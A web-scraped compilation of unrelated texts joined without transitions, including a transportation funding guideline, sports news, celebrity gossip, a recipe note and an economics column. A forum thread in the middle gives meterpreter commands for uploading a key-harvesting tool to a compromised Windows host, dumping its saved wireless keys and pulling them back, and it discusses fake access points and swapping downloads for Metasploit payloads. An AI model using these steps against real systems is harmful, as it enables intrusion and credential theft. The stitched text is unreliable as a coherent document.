Note: This document was superseded on October, 2012.
The list of qualifying TE activities provided in 23 U.S.C. 101(a)(35) is intended to be exclusive, not illustrative. Only those projects that are listed in one of the 12 categories are eligible for transportation enhancement funds. Examples of each activity are provided below.
Under 23 U.S.C. 504(e), TE funds may be used for direct educational expenses for surface transportation workforce development, training, and education, provided the activity specifically benefits eligible TE activities. Direct costs include training costs, conference and registration fees, and travel costs, but not salaries. See Transportation Enhancements Guidance Supplement - Surface Transportation Workforce Development, Training, and Education. [Paragraph added 01/18/06]
Each project activity must demonstrate a relationship to surface transportation.
For additional clarification we have developed a set of Guiding Principles and Questions for Transportation Enhancement Activities to help the decisionmaker assess how the proposed project meets the following 12 principles, and to assess some aspects of project viability.
|Provision of facilities for pedestrians and bicycles.
|New or reconstructed sidewalks, walkways, or curb ramps; wide paved shoulders for nonmotorized use, bike lane striping, bike parking, and bus racks; construction or major rehabilitation of off-road shared use paths (nonmotorized transportation trails); trailside and trailhead facilities for shared use paths; bridges and underpasses for pedestrians and bicyclists and for trails.
|Provision of safety and educational activities for pedestrians and bicyclists.
|Educational activities to encourage safe walking and bicycling.
|Acquisition of scenic easements and scenic or historic sites (including historic battlefields).
|Acquisition of scenic land easements, vistas, and landscapes; acquisition of buildings in historic districts or historic properties, including historic battlefields.
|Scenic or historic highway programs (including the provision of tourist and welcome center facilities).
|For projects related to scenic or historic highway programs: Construction of turnouts, overlooks, and viewing areas; construction of visitor and welcome centers; designation signs and markers.
|Landscaping and other scenic beautification.
|Landscaping, street furniture, lighting, public art, and gateways along highways, streets, historic highways, trails, and waterfronts. Landscaping recommendation: see FHWA's Roadside Vegetation Management website.
|Historic preservation.
|Preservation of buildings in historic districts; restoration and reuse of historic buildings for transportation-related purposes.
|Rehabilitation and operation of historic transportation buildings, structures, or facilities (including historic railroad facilities and canals).
|Restoration of historic railroad depots, bus stations, ferry terminals and piers, and lighthouses; rehabilitation of rail trestles, tunnels, and bridges; restoration of historic canals, canal towpaths, and historic canal bridges.
|Preservation of abandoned railway corridors (including the conversion and use of the corridors for pedestrian or bicycle trails).
|Acquiring railroad rights-of-way; planning, designing, and constructing multiuse trails; developing rail-with-trail projects.
|Inventory, control, and removal of outdoor advertising.
|Billboard inventories and removal of illegal and nonconforming billboards. Inventory control may include, but not be limited to, data collection, acquisition and maintenance of digital aerial photography, video logging, scanning and imaging of data, developing and maintaining an inventory and control database, and hiring of outside legal counsel.
|Archaeological planning and research.
|Research, preservation planning, and interpretation of archaeological artifacts; curation for artifacts related to surface transportation and artifacts recovered from locations within or along surface transportation corridors.
|Environmental mitigation--
(i) to address water pollution due to highway runoff; or
(ii) reduce vehicle-caused wildlife mortality while maintaining habitat connectivity.
|For existing highway runoff: soil erosion controls, detention and sediment basins, and river clean-ups. Wildlife underpasses or other measures to reduce vehicle caused wildlife mortality and/or to maintain wildlfe habitat connectivity.
|Establishment of transportation museums.
|Construction of new transportation museums; additions to existing museums for a transportation section; conversion of railroad stations or historic properties to museums with transportation themes.
Each project activity must demonstrate a relationship to surface transportation.

I think that a Double on Pearson and Peralta is good easy money. Coming in at 1.61 to every 1 on, not the biggest of odds but it helps to sometimes go with what you really feel will happen and also take into consideration their opponents and what they have to offer or in this situation what they do not offer. Meaning with no disrespect, but I don't think Corrasani and Couture (Ryan) offer that much diversity in their game to be able to win. Neither has any strength in either department, in fact I would say that their biggest strengths would be Heart/Chin (Couture) and Technical Striking (Corrasani) but without any real power. So when you compare to that of their Opponents you would think that both guys have the chance to finish their fights standing and possess superior Workrate and Technical Striking (Pearson) and Lethal KO Power (Peralta). I would also take both of those guys to be busier and more active over the fight to take on points if the KO wasn't possible.
I have also a Goliath on:
LaFlare, Amagov, Troeng, M Johnson, Peralta, Pickett, Mitrione, Pearson

Great script works well
Runs meterpreter scripts just great
How I downloaded the wireless keys from the client
meterpreter> upload /xxxx/xxx/wkv.exe wkv.exe
(this uploads to c:/WINDOWS/system32 )
meterpreter> run multicommand –c "c:\\WINDOWS\\system32\\wkv /stext wirecodes.txt"
(this saves wirecodes.txt to c:\\WINDOWS\\system32)
meterpreter> download c:\\WINDOWS\system32\\wirecodes.txt /tmp
now view the downloaded file
Wireless Key Harvester --- including video - Remote Exploit Forums
This script doesn't automate it, so you have to do it all yourself
Anyway, it looks like you ca upload, create and download the keys.
So your wanting help with viewing it?! :S
look in /tmp/! Use nano, vi , cat or kate to veiw the file!
Have you...g0tmi1k?
sorry I didn't make my self clear
I can view it NO problem using kwrite or less.
thanks for reply, Just tring to show others how I did it after months of trying
I have tried the script you suggest but I failed.
thanks again
add this to the top, to stop any current process
killall -9 airbase-ng dhcpd3 apache2 wicd-client
/etc/init.d/dhcp3-server stop
/etc/init.d/apache2 stop
/etc/init.d/wicd stop
this way we can easily re-run the script multiple times
wicd is killed to prevent channel hopping,
All that just to do MITM attack on open wifi !?
my short ugly hack : Replace *.EXE with MSF payload .. - Remote Exploit Forums
you can also look at 'mass client side attack' or file pwn or wifizoo karmetasploit you could also DNS spoof to at least have it look like MSN etc when downloading the update... list goes on and on
MSF meterpreter cheat sheet
Glad that it work for you!
I've seen and used FastTrack's "mass client side attack". But I haven't heard of "file pwn" (unless you mean replacing the exes with "our" exes). I've currently recorded videos for "WiFiZoo" & "karmetasploit" but haven't had the time to edit.
I know the list goes on! I just couldn't be bothered to add it all in! Plus it's harder to automate some of those programs, which was the idea of this script. And for the record, you could use Wireshark, and view all the data; I just chose those programs because of ease and automation/scripting.
I do like the idea of monitoring other traffic that isn't on port 80, before they download the payload, and I'll see what I can do (if you have any other hints like this, please say! )
and thanks for the cheat sheet, but isn't scripting a little bit different?

Have you...g0tmi1k?
And to add to g0tmi1k's statement there, a fake AP lets you put out a "linksys" ssid and get everyone automatically connecting to it, connecting to someone else's AP doesn't help you much. You can also use this to intercept and half-crack WPA points from companies using WPA-PSK.
Or, if you're in my city, you can put out the bus AP SSID and watch them all dump onboard video data to you (no longer a possibility thankfully, but it illustrates my point nicely).
Last edited by Gitsnik; 06-02-2010 at 01:13 AM. Reason: "a fake AP" not "fake AP"
Still not underestimating the power...
There is no such thing as bad information - There is truth in the data, so you sift it all, even the crap stuff.

THE CLOCKWORK GIRL To Be A Major Animated Motion Picture Starring Alexa Vega & Jesse McCartney in the Fall
Long out of print, the wildly popular Clockwork Girl series was originally released in five illustrated stories and sold more than 340,000 copies around the world. The full story of THE CLOCKWORK GIRL (Harper Design//On Sale: July 12, 2011//ISBN:9780062080394) comes to life again in this beautifully illustrated graphic novel with a new foreword from The Clockwork Girl's original authors, Sean O'Reilly and Kevin Hanna, along with playful, full-page pin-ups of the characters.
The story takes place in a whimsical land far, far away where inventors compete to show off their latest trinkets and inventions at the local fair. A mad scientist, determined to win the top prize at the fair, creates a robot Clockwork Girl. Against all odds, she finds love and companionship in Huxley, the amazing mutant circus boy. Despite the threats of their warring families, they begin to explore the world together and discover what it means to be human—to move, to think, and ultimately, to love.
This fall, a paperback version of THE CLOCKWORK GIRL will correspond with the release of the 3-D luximation animation film version of THE CLOCKWORK GIRL. The film is voiced by a "dream team" of actors as the characters, such as Carrie Ann Moss (Matrix), Jeffrey Tambor (Arrested Development), Alexa Vega (Spy Kids), Jesse McCartney (Horton Hears a Who) and Brad Garrett (Everybody Loves Raymond). An exciting sneak peek teaser is available online at http://www.theclockworkgirl.com.
THE CLOCKWORK GIRL has won the Moonbeam Award, as well as the Graphic Novel of the Year Award at Book Expo America by ForeWord magazine.

Many people have asked why America is called a "car culture." The 1950 Oldsmobile Futuramic is a car that answers that question. Just looking at it creates images of family vacations on the open road long before the Griswolds ever took their epic "vacation" in their station wagon.
For 1950, the Oldsmobile 98 line was restyled from previous models, while its sibling 88 remained unchanged, largely because it already had several model options including a two-door convertible, hardtop, sedan, coupe and fastbacks, as well as a four-door sedan and station wagon. The station wagon version would become an icon of the age.
Oldsmobile station wagons had been all metal since 1949, when all tailgate and wooden window trim was replaced by wood-grained metal. The main difference between it and the Pontiac and Chevrolet models was that it offered better interior trim, plus the availability of General Motors' fully automatic transmission and the power of a legendary Rocket 88's V8 engine.
Produced in Wentzville, Miss., and both Flint and Lake Orion, Mich., the Oldsmobile 88 line was a representation of an image. Especially during the beginning, the Oldsmobile 88 was one of the better performing automobiles of its class. Named to complement the already existing 76 and 98 series, the 88 was meant to bridge performance with amenities. It would later be considered to be the "granddaddy of muscle cars" of the 1960s because of its high-powered engine compared to its rivals.
The standard station wagon in 1950 sold for $2,360 and weighed 3,610 pounds, while the 88 model was priced at $2,585 and weighed 3,810 pounds. The difference in cost and weight translated to 25 percent more horsepower, to 135 horses, which a feature buyer found worthy of the added cost. Popular during its time, the 88 inspired a popular song "Rocket 88" and a slogan, "Make a Date with a Rocket 88." The rocket was eventually adopted as the Oldsmobile logo during the 1960s, though the 88 name continued to remain in the lineup until the late 1990s.
But the fate of the 88 was short lived. Of the nearly 408,000 Oldsmobile cars sold in 1950, only 2,732 were station wagons. Chevrolet sold nearly 167,000 station wagons starting at $1,994 during the same year, so Oldsmobile dropped both station wagon models. It would not produce another station wagon for another six years. But like many collectable cars, the Futuramic 88 would rise from its disappointing "new" sales and find life in the classic car market. A Futuramic 88 often sells for upward of $30,000, 10 times its original sticker price.

You give the explanation, twofold! Twofold, you ask? Here you go:
(1) I don't like fruity cakes. Period. Applecake? Urgh. Cherries in my cake? No way Jose! Pies? Not for me, thanks. I take the raw fruit and the shortcake, separate, please. The only exception I had in the last many years was the upside down plum cake, but I think that was mainly because the fruit was so good. I like citrus taste in my cakes, but that's as much fruit as they'll get.
(2) I had some orange / almond chocolate in the fridge that had been heated and was not really fit for straight-out-of-the-fridge consumption anymore. So I used that for about 1/3rd of the chocolate in the layers. It gave the layers a wonderful orange flavor, and the little bits of almond gave it just a smidge of a crunch, enough that I decided that my next featherbed will have a few roasted sliced almonds in it, just enough for texture.
I also used 70% chocolate, which probably means it's less sweet and more chocolaty.

March 19, 2013
I was doored this past weekend, for the first time ever, after some 10,000 miles of city riding. It's not worth getting into the semi-sordid details, but I made it through relatively unscathed despite the fact that I essentially landed on my face). Besides questions of what transpired, whether I had to go to the hospital, etc., many people were perhaps unduly sympathetic, wondering if I confronted the perpetrator with whatever righteous indignation apropos the gratuitous transgression (long story short, I did not).1
In fact, the sheer senselessness of the incident is precisely what I like about riding a bicycle in New York City: an underlying threat of violence necessitates an all-but-prescient ability to anticipate traffic of both the vehicular and pedestrian varieties, viz. an absurd degree of vigilance. A backwards analogy: The autonomous car is more an AI model of a seasoned cyclist than of a driver, and even though LIDAR and algorithms can accurately predict 99.9999% of possible traffic patterns and even account for the frequency of aberrations, there necessarily remains the (un)lucky millionth draw that escapes the range of known data.2
Thus, the diehards—fellow cyclists who have logged similarly untold miles in our fair city—were less concerned with the specifics, acknowledging the inevitability of such an occurrence with the mutual understanding that it's the rider's responsibility to anticipate a door in any given situation: It's part of the game.
Because in retrospect, I should have gone wide and taken the lane instead of attempting to thread the needle, and my mistake is as clear as day to me (incidentally, the weather was absolute shit at the time of dooring). While I accept the responsibility and the consequences of my actions, the accident was neither a lapse of judgment nor an act of hubris but a leap of faith, a canonical case of the cyclist 'eating the sins' of the motorist (literal act of eating pavement notwithstanding).
Which is to say that it's simply too much to expect debarking passengers to heed non-motorized traffic, and frankly no cyclist should expect the courtesy—after all, every last one of us has unknowingly committed the verysame negligence at some point. It's precisely why people drive (or take taxis) in the first place: so they don't have to pay attention to every stupid little thing. By forsaking the vicarious superiority of the internal combustion engine, so too do cyclists forfeit the luxury of distraction, of roving the world in a glass bubble… or, as it were, a metal cage.
And at risk of sounding completely deluded, this, for me, is the fundamental appeal of riding fixed: a brakeless bike doesn't forgive you for making mistakes.

98 Degrees jokes about Taylor Swift
Listen to Taylor Swift on iHeartRadio | Listen to 98 Degrees on iHeartRadio
Nick Lachey knows a thing or two about living the boy band lifestyle, and he has one piece of advice for young men in that position today - "Stay away from Taylor Swift."
The 98 Degrees singer took a jab at the country-pop star in an interview with MTV. When asked what he would tell groups like One Direction and the Wanted, he joked that they should steer clear of Taylor since "she'll write a song about you."
Nick joked that the song would "be a hit, but it'll be about you." He added, "Oh! I'm too late on that one."

Slow start to LORDA syrup production
LANSDOWNE – Jim Crawford holds out a cup filled with a clear liquid. It doesn't look like much – in fact it just looks like water.
Skreslet shares stories of his expedition to the summit of Mount Everest
TRURO – It's not every day you get to meet your hero, but that's exactly what Lauren MacDougall experienced on Wednesday afternoon.
The nine-year-old aspiring astronaut drove four hours from Sydney with her brother, parents and grandparents to see Chris Hadfield last night. The former commander of the International Space Station was at Rath Eastlink Community Centre to share stories from space and play music with students from Truro Elementary School.
The highlight of Lauren's trip wasn't the show, however, but a chance encounter with Hadfield in the parking lot of their hotel.
"It's incredible," said Lisa MacDougall, Lauren's mother. "I got out of the car, and there he was, walking across the parking lot with his guitar."
After introducing herself, Hadfield invited the family to meet him in the hotel for a quick chat and some pictures.
"Do you know how old I was when I decided I was going to be an astronaut?" Hadfield asked the girl as they sat on a couch, posing for pictures. "I was nine, too!"
A fourth-grader at Shipyard Elementary, Lauren spends her time stargazing through her telescope at home.
"It was really cool because I never met anybody like him before," she said. "I love astronauts."
MacDougall took her children out of school early to get to the event so they could hear Hadfield's stories. What they got was so much more.
"This is a dream come true," MacDougall said. "I wanted them to know there are people out there who achieve their dreams. This was more than we could ever have dreamed."
Dreams are something Hadfield spoke of at great length.
He pinpointed the exact day he knew he wanted to be an astronaut: July 20, 1969 – the day Apollo 11 landed on the moon.
"I was just about to turn 10," he said. "I was going to grow up to be something, so why not grow up to be that?"
The event also featured Laurie Skreslet, the first Canadian to reach the top of Mount Everest.
It was hugely enabling to see that impossible things can happen Chris Hadfield
Skreslet took the audience through his journey, which lasted from July to October of 1982. It was a brutal trek, which resulted in the loss of four lives, including CBC cameraman Blair Griffiths and a failed attempt to breach the Khumbu Icefall – a treacherous pass on the mountain's southeast route. After breaking ribs recovering Griffith's body, Skreslet descended the mountain to see a doctor. Upon reaching the hospital a week later, the X-ray machine was broken, so Skreslet hurried back to base camp. Reaching camp in three days, he told his fellow climbers the X-rays came back positive and he was OK.
"I determine my future by my willingness to try," Skreslet said.
Hadfield followed Skreslet, detailing how his three trips to space – the last of which was a five-month stay as the commander of the ISS, where he captivated the world with his posts from space via social media.
He told the crowd about his first mission, and the process to get ready that day. After waking up that morning knowing he'd be heading to space, Hadfield did as any astronaut does, and pulled on his adult diaper. This particular year, Johnson & Johnson sponsored Pull-Ups with multi-coloured astronauts on them.
"So here I am in my big boy Pull-Ups, with little pink and blue astronauts all over them, feeling every inch a hero," Hadfield said.
Since returning home, Hadfield has been steady travelling and promoting his work. Nights like Wednesday aren't about spreading science lessons from space, however, but about the real message behind it all.
"That's kind of the point of it – the inspirational side … I could just be sitting on my porch for the rest of my life with my feet up, but I think the lessons I learned are important."
It all comes back to the morning a nine-year-old boy turned on the TV to see the world change before his eyes.
"Up until that morning it had been impossible," he said. "It was hugely enabling to see that impossible things can happen."
July 20, 1969 was the day Chris Hadfield's life changed forever. June 25, 2014 was the day that changed Lauren MacDougall's.

Roundworm eggs - ascariasis
Roundworm eggs - ascariasis
Roundworms are the most common type of worm infection. It is estimated that there are 4,000,000 cases in the United States at any time. Infection is more common in warm climates. Eggs are passed in the stool of infected animals and contaminate the soil. Ingestion of contaminated soil then leads to roundworm infection.

"Loser Keeps Bieber" Billboard on Display
The United States and Canada will face off in the semi-finals of the Olympic hockey tournament on Friday. The winner gets the chance to play for gold on Sunday.
But, a shipping company in Skokie, Illinois decided to raise the stakes. The company is called Command Transportation. Their electronic billboard reads "Loser Keeps Bieber."
Nobody wants Justin Bieber.
If everybody agreed to this wager, this would be the biggest game in the history of sport.
Apparently, Command Transportation does this sort of thing all of the time. Their billboard has mocked Bieber before and they often poke fun at various subjects in sports and politics.
Nothing is higher than the stakes of tomorrow's game. pic.twitter.com/usqJ9EPTpg

and be open about them...
But then choose ONLY to fight in shows that either don't test or don't request a declaration for me not to, am I really cheating anybody?
What if, using the same situation above, not only do I USE them, but openly admit to using them or even brag about it or promote them as helpful. What then would be the fall-out?
Bearing in mind only a smattering or shows either can test, do test or bother to ask - surely, it's not cheating anybody (other than morally).

Less than a month away from the London Games, U.S. women's soccer standout Megan Rapinoe says publicly for the first time that she is gay.
The timing is important, because Rapinoe, who turns 27 on Thursday, wants her story to empower others in the LGBT community.
While she's long been openly gay to her family and teammates, Rapinoe addressed her sexuality definitively in an interview with Out Magazine:
"For the record: I am gay," she said.
She explained her reasons for coming out in a Monday evening phone interview with USA TODAY Sports.
"To be honest I've been thinking about it for a while, trying to find a time that works, now leading up to the Olympics, people want to get personal stories," she says. "Our team in general is in a position where people look up to us and kids look up to us. I embrace that and I think I have a huge LGBT following. I think it's pretty cool, the opportunity that I have, especially in sports. There's really not that many out athletes. It's important to be out and to live my life that way."
"It's about standing up and being counted and saying you're proud of who you are."
The reception so far?
"It's been good," she says. "It's all been extremely positive, which makes me really happy."
Rapinoe is dating an Australian soccer player and brought her home to visit family in Northern California last Winter. Rapinoe says she knew she was gay by her first year of college and says coming out to her family was followed by an adjustment period.
"I just kind of sat them down and told them," she says. "My mom, whether it's right or wrong, she had dreams for me to have a certain life. It takes time to get used to that. But they've been really supportive and they love me for exactly who I am."
She says the atmosphere for out athletes on women's teams is far different than on men's teams. She thinks it's okay for her teammates to date, if all involved are mature enough.
"I think it's different for everybody. You never want to create any kind of drama," she says. "Sometimes when you date people you end up breaking up and if teammates are mature enough to deal with that, then it's okay. I never want to bring any undue drama to the team."
Rapinoe laments the difficulty for closeted male athletes. She believes the first active players to come out in a high-profile men's team sport will usher change.
"The climate is much different for men," she says. "That stigma is only going to be broken when people come out and see that there is a positive response. That doesn't mean there will be no negative response, but if people can have the courage to be one of the first, which is very hard, those barriers can be broken down very quickly."

Session 10: Finding Solutions: A Practical Approach to Problem Solving
Instructor: Steve Eiffert, Management Development Institute Instructor
Date: Thursday, April 6, 2006
Location: Glass 115
All of us solve problems and make decisions every day. Usually, we make little decisions that are common to our lives and as a result do so without much thought. However, when the problems get larger and are outside the scope of our understanding, they can appear to be insurmountable. In this program you will learn the key elements of problem solving; expanding your thinking, gathering more information, and organizing your thoughts, evaluating alternatives and making a decision. You will then work individually and in groups to apply these concepts in a variety of applications.

San Antonio, TX (SportsNetwork.com) - Tim Duncan scored 17 points with 16 rebounds, guiding the San Antonio Spurs to a 92-82 win over the Charlotte Bobcats on Friday.
Manu Ginobili scored 15 points, while Marco Belinelli and Patty Mills each scored 14 in San Antonio's seventh straight win over Charlotte. Kawhi Leonard netted 12 points in the victory.

Discussion in 'Fan Zone' started by Joshmil53, Mar 29, 2013.
I don't know if it's been posted, too lazy to go through 37 pages.
He needs to get a new agent. That one's too young to sign his name on the contract.
Well played, sir!!!!
It's America. Worst case scenario for Ms Romo is now 27.5 mil guaranteed going forward.
100% ZERO to do with that talent but...boom. Pretty nice day to be married to him.
Good news is they're a happy family right now
Hawkins is too cute.
And Jerry is looking at Hawkins like "Just 22 more years".
Awww, I love Hawkins. So cute.
Say what you want about Jerry, but look at the picture. Jerry has a heart of gold. Sometimes I wish he had a brain to match.
Great picture.
Well, he already signed him.
If I was signing a 100+ million dollar deal, I would have shown up in a tuxedo with my hair nicely fixed, just sayin
Or...had my hat on backwards just to upset some of the fanbase
Jokes aside, looks like a happy family picture with grandpa all proud.
The 108 million dollar arm
and there is Mr positive...
not everyone gets divorced these days, Mrs Fredd and myself just hit our 20 year anniversary this past week....
btw, love the superbowl trophies sitting behind them in the picture
More than sixty years here.
Twenty seven this year for us......but of course it's the third for both of us, but it seems to be working!
BTW, I'm not too sure Jerry's looking at the baby! Dirty old man!!!!
You and the Admiral are to be congratulated. Well done sir!
You're welcome to post your age in your profile. And give us a story here and there in the Fan Zone.
Seems like a good plan, daddy will probably eventually get restructured close to that date anyway.

50 States of Shopping
Summer: This chic Doo.Ri dress is the perfect elegant summer-office staple—crisp and clean, it's loose enough for comfort but tailored enough for sophistication.
The subtle sheer panel brings an extra element of cool—and cooling—without major exposure.
Doo.Ri dress, Michael Kors sunglasses, Kara by Kara Ross ring, Valentino Garavani clutch, and Jimmy Choo pumps.
Fall: Don't pack away a white dress just because it's after Labor Day. For those nicer cold-weather days, anchor it with an added layer of color—choose a neutral or, as seen here, something bright—and then give it substantial accessories: a heavy statement necklace or a businesslike bag.
Keep it light: A thin turtleneck adds coverage but no bulk.
With a structured bag, a loose dress is suddenly serious.
Doo.Ri dress, Jean Paul Gaultier turtleneck, R.J. Graziano necklace, CC Skye cuff, Mark Cross handbag, and Jimmy Choo pumps.
Summer: I always complain that ladies have it easy: You can look pulled-together (and stay cool) without compromising style. There's no maxidress equivalent for guys.
Max out your maxi with a floppy hat and sunnies.
Anna & Boy dress, Salvatore Ferragamo hat, Dita sunglasses, Vicki Turbeville ring, and Christian Louboutin sandals.
Fall: Keep summer's long lengths—and relaxed vibe—for fall weekends. Just add tights, scuffed boots, and an elongating jacket.
Big for fall: the sleeveless jacket over pants or dresses.
Max Mara vest, Cacharel cardigan, Anna & Boy dress, Megan Odabash MO cuff, Push by Pushmataaha stone cuffs, Burberry handbag, and Frye boots.

After hearing the news that Reef McIntosh had won the 2012 Da Hui Backdoor Shootout we hit the coconut wireless to track him down. Turns out he'd never won a contest of any sort before…
TransWorld SURF: 2012 Da Hui Backdoor Shootout winner Reef McIntosh!
Reef McIntosh: I can't really believe it; I don't know what to say!
So the contest finished yesterday but they held off on announcing the results until this morning?
We surfed a half-day yesterday and today was like, "conditions permitting" whether or not it was gonna go again. I don't really know how the permit and logistics work but when this morning came it was kinda small and there were some bad winds predicted for later in the day. We might have been able to run a half-day, and I might have dodged a bullet. It was super stressful not knowing if I won or not, I've never been in a situation like that.
Yeah I was arguing with Kelly Slater on Twitter this morning, he was like, "Reef won!" and I said, "Not yet, pal." Turned out he was right.
People were telling me that I won yesterday but I was like, "No. I'm not going to believe that until the check is in my hands or Eddie [Rothman] tells me 'It's over.'" I couldn't even sleep last night.
When was the last time you won a contest?
I've never won a contest [laughs].
What boards were you riding through the event?
I rode a brand new 7'2" Arakawa the whole time. I might just put that board on ice now.
What's it like surfing in contest with basically the same guys you surf with everyday?
It would have been gnarly to be in a heat with like Jamie, Makua, or Bruce. Shit, everyone's gnarly but I liked the guys I had in my heat; Cheyne Magnusson, Barca, and Makai McNamara. Those guys aren't super frothers but like to get good waves—it was just a fun atmosphere. You know if you're in a heat with Bruce or Jamie it's serious, it's like game time, we're not talking about the Chargers like me and Cheyne Mags were.
Were you wearing your SD Charger boardies?
The whole event! I was rotating between the home and away colors.
All those years you put in finally paid off—to the tune of $30,000!
30Gs is awesome but I'm just stoked to win something, especially the Shootout. I'm so stoked to have my name alongside Johnny Boy Gomes, Kelly, John John, and Jamie O'Brien.
Shout outs?
I could stay on the phone all day thanking people, but I'll start with Eddie Rothman and Da Hui for putting the event on, the Water Patrol, Faith from ASP Hawaii, Quiksilver for getting a team into the event, everyone in the event, my fiancée Jessica, my Dad…
Wait. Fiancée?
Yeah, dropped onto one knee on Christmas Eve…
Wow, that's big news!
Yeah, big things in 2012…
When's the date? More importantly, when's the bachelor party?
That's what I'm talking about! That's gonna be soon, you guys will know, trust me [laughs]!

The loss was the Thunderbirds' 10th straight and is something out of the ordinary for the program, far surpassing the team's previous record streak of six losses back in 2010.SUU scored the first point of the match, making the most of a UNC error and had a lead as late as 8-7 in the first frame. However, the Bears used a four-point run to reverse their fortunes and take an 11-8 lead and never looked back. The T-Birds cut the UNC margin to only one at 11-10, but another seven-point run by the visitors stretched the score to 18-10, keeping Southern Utah at bay. Northern Colorado eventually took the opening set 25-16 on a punctuating kill.The Thunderbirds scored the opening point of the second set as well as the Bears opened the frame with another attacking error. SUU had its final lead at 2-1 as another four-point run by UNC broke a 3-3 tie and gave the visitors a 7-3 lead. Southern Utah came to within one at 7-6 and 9-8, but were unable to get any closer as the Bears closed out the set 25-16.The familiar storyline continued in the third set as Southern Utah opened the frame with the first point on a UNC error as Annie Stradling and Ann Clappier recorded a block. The Bears then broke a 4-4 tie with a three-point run to take a 7-4 lead and then kept the Thunderbirds at a distance. SUU made a late 6-2 run to pull within four points (22-18), but ultimately fell 25-19.Southern Utah's highlight for the match proved to be its block as the Thunderbirds recorded 8.0 (1-14-2) to Northern Colorado's 4.0 (0-8-0). Alissa Youart (1-3-1) and Taylor Heine (0-4-0) led the way with four blocks apiece.SUU will be back in action next weekend when the Thunderbirds travel to face Idaho State and Weber State on the road. The matches are scheduled for Oct. 25 and 26 with live stats and live video links available online at www.suutbirds.com.

With Bulgaria's May 12th election fast approaching, it is useful to reflect on past elections and the resulting economic performance of each elected government. To do this, I have developed a Misery Index inspired by the late Prof. Arthur Okun, a distinguished economist who served as an adviser to U.S. President Lyndon Johnson.
The Misery Index measures the level of "misery" in the economy. My modified Misery Index is equal to the inflation rate, plus the bank lending rate, plus the unemployment rate, minus the annual percent change in GDP.
An increase in the Misery Index indicates that things are getting worse: misery is increasing. A decrease in the Misery Index indicates that things are improving: misery is decreasing. The accompanying chart shows the evolution of Bulgaria's Misery Index over time.
The Socialist Party government of Prime Minister Zhan Videnov created hyperinflation and a lot of misery. The Misery Index under the Videnov government's watch peaked at 2138 in the first quarter of 1997. That number isn't shown on the accompanying chart—if it was, the chart would take up an entire page of Trud.
So, the chart starts in the second quarter of 1997, with the Kostov government. Shortly after Kostov took power, Bulgaria installed a Currency Board System, based on a draft Currency Board Law, which I authored at the request of President Petar Stoyanov. The Currency Board brought an end to Bulgaria's hyperinflation, which peaked with a monthly inflation rate of 242%, in February 1997.

This is an adjustment of an article originally published a couple of weeks ago, now updated to reflect the welcome restoration of redsfan's original article.
Sometime around the 19th of this month, Newsvine member Redsfan seeded an article that generated significant debate. The sardonic opinion offering provided a list of things that a President and a First Lady are barred from doing if that President and First Lady happen to be black. Viners can see the article by clicking on the link below:
In spite of the fact that no reasonable person could consider the seed duplicative, miscategorized, unlawful, inaccurate, advertising or some other listed category of unacceptable, some group of Viners saw fit to have the article removed. As there are those who measure the appropriateness or acceptability of an article by whether or not they happen to agree with it, the removal of what was a useful, active and well-placed seed comes as no surprise. The real surprise, however, is that the Newsvine moderating team has not yet seen fit to restore the removed seed and vine discussion.
Subsequent to the removal of Redsfan's relatively innocuous seed, another Viner seeded a video that any reasonable person would consider vile. The already specious message (if there really ever was one) was overwhelmed by the self-serving ignorance, vulgarity and unintelligence of a messenger who reveled in his opportunity to excoriate black people with whom he - also black - disagrees. Included in those vulgarities was a level of racism that would make even the most virulent, knuckle-dragging, troglodyte racist tear-up with joy. Anyone with a burning desire to see this trash may do so through the link below:
To my stunned surprise, many fellow viners either agreed with the racist content of the video, were indifferent to it or were otherwise not the least bit plussed. I for one don't take kindly to being called a "stupid niqqer(sp)" - yes, the video included that gem of wisdom - so my own hostility to the seed was predictable. But both agreement and hostility to the seeded video or the seeded list are tangential to the point.
The point is that anyone who participated in both of these vine discussions would be rightly subject to a charge of hypocrisy if they voted to remove the seeded list and not the seeded vine. I believe it safe to assume that those who seeded the video and posted in encouragement of it would be in disagreement a list of things a black president couldn't do. Even those who did not engage in the cowardly, hypocritical and wholly inappropriate collapse of the list article should be troubled by the duplicity attendant in saying nothing about the collapse of the seeded list while reveling in the disgusting content of the seeded video.
Anyone reading this article is now aware of the hypocrisy inherent in this tale of two vines and should petition Newsvine moderators to restore Redsfan's seed. Doing nothing is tantamount to an acceptance of community failure and the tolerance of contemptible duplicity.
Update: Newsvine moderators restored redsfan's article on July 5th. Thanks and congratulations should go to those who notified moderators of the injustice and Newsvine moderators should be commended for doing the right thing.

2013 Women's CSA Team Championship Brackets
PHILADELPHIA – The third-ranked Penn women's squash team (12-2, 5-2 Ivy) heads up to New Haven, Conn. this weekend for the Howe Cup Championship. Out of the four division championships, the Howe Cup is the A Division, the highest, and winner will be the national champion. The Quakers will face a familiar foe in the first round of competition, No. 6 Cornell (12-5, 3-4), on Friday at 11 a.m.
The matchup pits Penn against a Big Red team it beat just last weekend on Senior Day in Philadelphia. The Quakers dominated Cornell in every way, winning the match and sole possession of third place in the Ivy League, 7-2. The Red and Blue are now 31-2 all-time against the Big Red, and 4-0 in Howe Cup matches as well.
Last time these two teams met in a Howe Cup match, it was last season's consolation battle. The Quakers won, 7-2, and went on to place fifth in the final standings. This season, Penn will look to extend its winning streak against Cornell to 15 matches in a row, thus advancing to the semifinal round on Saturday.
Most likely, that semifinal match will be against No. 2 Harvard (12-1, 6-1), one of only two teams to defeat the Quakers this season. The Crimson defeated Penn in at the Ringe Courts back on Jan. 12, 6-3. Despite the gap in the overall score, the match was even closer. Two of Penn's losses came in the full five games, and another one of those losses came in four games. Since that loss, the Quakers have won eight of nine, including five in a row, en route to earning the third seed in the Howe Cup.
Penn has not been to the finals since the 2009-10 season, and has not won the Howe Cup since its undefeated 1999-2000 team. There will be daily updates of the No. 3 Quakers' progress at the Howe Cup Championship on pennathletics.com.
Below are the predicted individual matches against Cornell:
1. Nabilla Ariffin (P) vs. Danielle Letourneau (C)
2. Yan Xin (P) vs. Jessenia Pacheco (C)
3. Rachael Goh (P) vs. Jaime Laird (C)
4. Haidi Lala (P) vs. Abbey Foster (C)
5. Pia Trikha (P) vs. Rachel Au (C)
6. Yarden Odinak (P) vs. Maggie Remsen (C)
7. Courtney Jones (P) vs. Brynn Daniels (C)
8. Camille Lanier (P) vs. Lindsay Seginson (C)
9. Chloe Blacker (P) vs. Laura Caty (C)

Fergie + Josh Duhamel Are Having a Baby!
There's a bun in the oven for Black Eyed Peas singer Fergie and 'Safe Haven' star Josh Duhamel. Congratulations!
-Lucia Peters
Ever wonder what a baby born of Fergie and Josh Duhamel would look like? Well, we're about to find out: They're currently expecting their first little one. Congratulations, you two lovebirds!
